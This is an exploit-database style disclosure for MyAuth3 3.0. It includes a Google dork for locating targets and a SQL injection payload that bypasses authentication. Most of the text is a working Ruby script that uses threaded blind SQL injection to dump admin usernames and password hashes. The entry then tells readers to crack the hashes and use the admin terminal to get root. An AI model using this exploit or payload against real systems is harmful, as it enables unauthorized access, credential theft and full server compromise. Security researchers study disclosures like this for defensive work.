MyAuth3 Blind SQL Injection

`# Exploit Title: MyAuth3 Blind SQL Injection / Root Shell Access 0day exploit  
# Google Dork: allinurl:1881/?console=panel  
# Date: 09/06/2011  
# Author: Marcio Almeida (marcio[at]alligatorteam[dot]org | @marcioalm)  
# Version: 3.0  
# Tested on: Linux  
  
#EDB-Note: apparently no true exploit is needed to dump system pwd hashes, because the admin myauth users have the ability to run a terminal session  
  
---------------  
PoC (POST data)  
---------------  
URL:  
http://localhost:1881/index.php?console=panel  
  
POST Data (Authentication bypass):  
panel_cmd=auth&r=ok&user=alligatorteam&pass=' or 1=1#  
---------------  
  
This application has a accessible root shell in the admin interface located at:  
  
http://localhost:1881/admin/  
  
When you access it, just go to tools / terminal menu and g0t r00t!  
  
The following code will manage all the dirty work for you!  
  
enjoy ;-)  
  
############## EXPLOIT CODE [myauth3_xpl.rb] ##################  
  
require "net/http"  
require "net/https"  
require "erb"  
require "singleton"  
require 'uri'  
  
sql = "select concat(user,0x20,pass) from admusers where enable = 1 and accesslevel >= 20"  
@target = ARGV[0]  
numthreads = ARGV[1]  
@verbose = ARGV[2]  
@cookie = ""  
  
puts "+=============================================================================+"  
puts "| MyAuth 3 - Blind SQL Injection / Root Shell Access 0day exploit |"  
puts "| Google Dork: allinurl:1881/?console=panel |"  
puts "| author: Marcio Almeida ([email protected]) |"  
puts "| |"  
puts "| by Alligator Security Team | irc://irc.freenode.net:8001/#Alligator |"  
puts "| twitter: @alligatorteam |"  
puts "+=============================================================================+"  
puts  
if (ARGV[0].nil? || ARGV[1].nil?)  
  
puts "usage (non verbose): ruby -W0 #{__FILE__} address num_threads"  
puts "usage (verbose): ruby -W0 #{__FILE__} address num_threads -v"  
puts "-----------------------------------------------------------"  
puts "Example 1: ruby -W0 #{__FILE__} 127.0.0.1 5"  
puts "Example 2: ruby -W0 #{__FILE__} www.vulnsite.com.br 5 -v"  
exit(0)  
end  
  
def requisicao(posicao,p_substr,sql)  
useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1'  
@http = Net::HTTP.new(@target, 1881)  
# @http.use_ssl = true  
parametro = "panel_cmd=auth&r=ok&user=alligatorteam&pass=' or #{posicao} >= ascii(substr((#{sql}),#{p_substr.to_s},1))#"  
begin  
resp, data = @http.post2("/index.php?console=panel", parametro, {'User-Agent' => useragent, 'Cookie' => @cookie.to_s })  
resultado = data.match(/Financeiro/)  
rescue Exception=>e  
puts e  
end  
if resultado.nil?  
return false  
else  
return true  
end  
end  
  
def busca_r( menor, maior, p_substr,sql )  
return -1 if menor > maior  
return maior if (maior-menor)==1  
posicao = (menor+maior)/2  
if (requisicao(posicao,p_substr,sql))  
busca_r( menor, posicao, p_substr,sql )  
else  
busca_r( posicao, maior,p_substr,sql )  
end  
end  
  
def busca_sql(inicio, qtdThreads, sql, str_final)  
resultado = 0  
while (resultado != 1) do  
str_final[inicio] = ""  
resultado = busca_r(0,255,inicio,sql)  
if resultado != 1  
if @verbose == "-v"  
puts inicio.to_s+") Character Found: "+resultado.to_s+" - "+resultado.chr.to_s  
end  
str_final[inicio] += resultado.chr.to_s  
inicio = inicio + qtdThreads.to_i  
end  
end  
end  
  
def busca_com_threads(sql, numthreads)  
str_final = []  
  
threads = []  
count = 1  
numthreads.to_i.times{|i|  
threads << Thread.new {  
busca_sql(count, numthreads, sql, str_final)  
}  
count += 1  
}  
  
threads.each do |t|  
t.join  
end  
  
puts str_final.to_s  
  
end  
  
puts "When you crack any of the following hashes, go to http://"+ @target + ":1881/admin to login into the application."  
puts "Then go to tools / terminal menu and get a r00t shell access ;-)"  
puts "=========================================================================="  
puts "[+] admusers table dumping... (maybe it'll take a little bit of time...)"  
puts "=========================================================================="  
  
100.times { |i|  
busca_com_threads(sql+" limit 1 offset " + i.to_s, numthreads)  
}  
  
  
  
  
`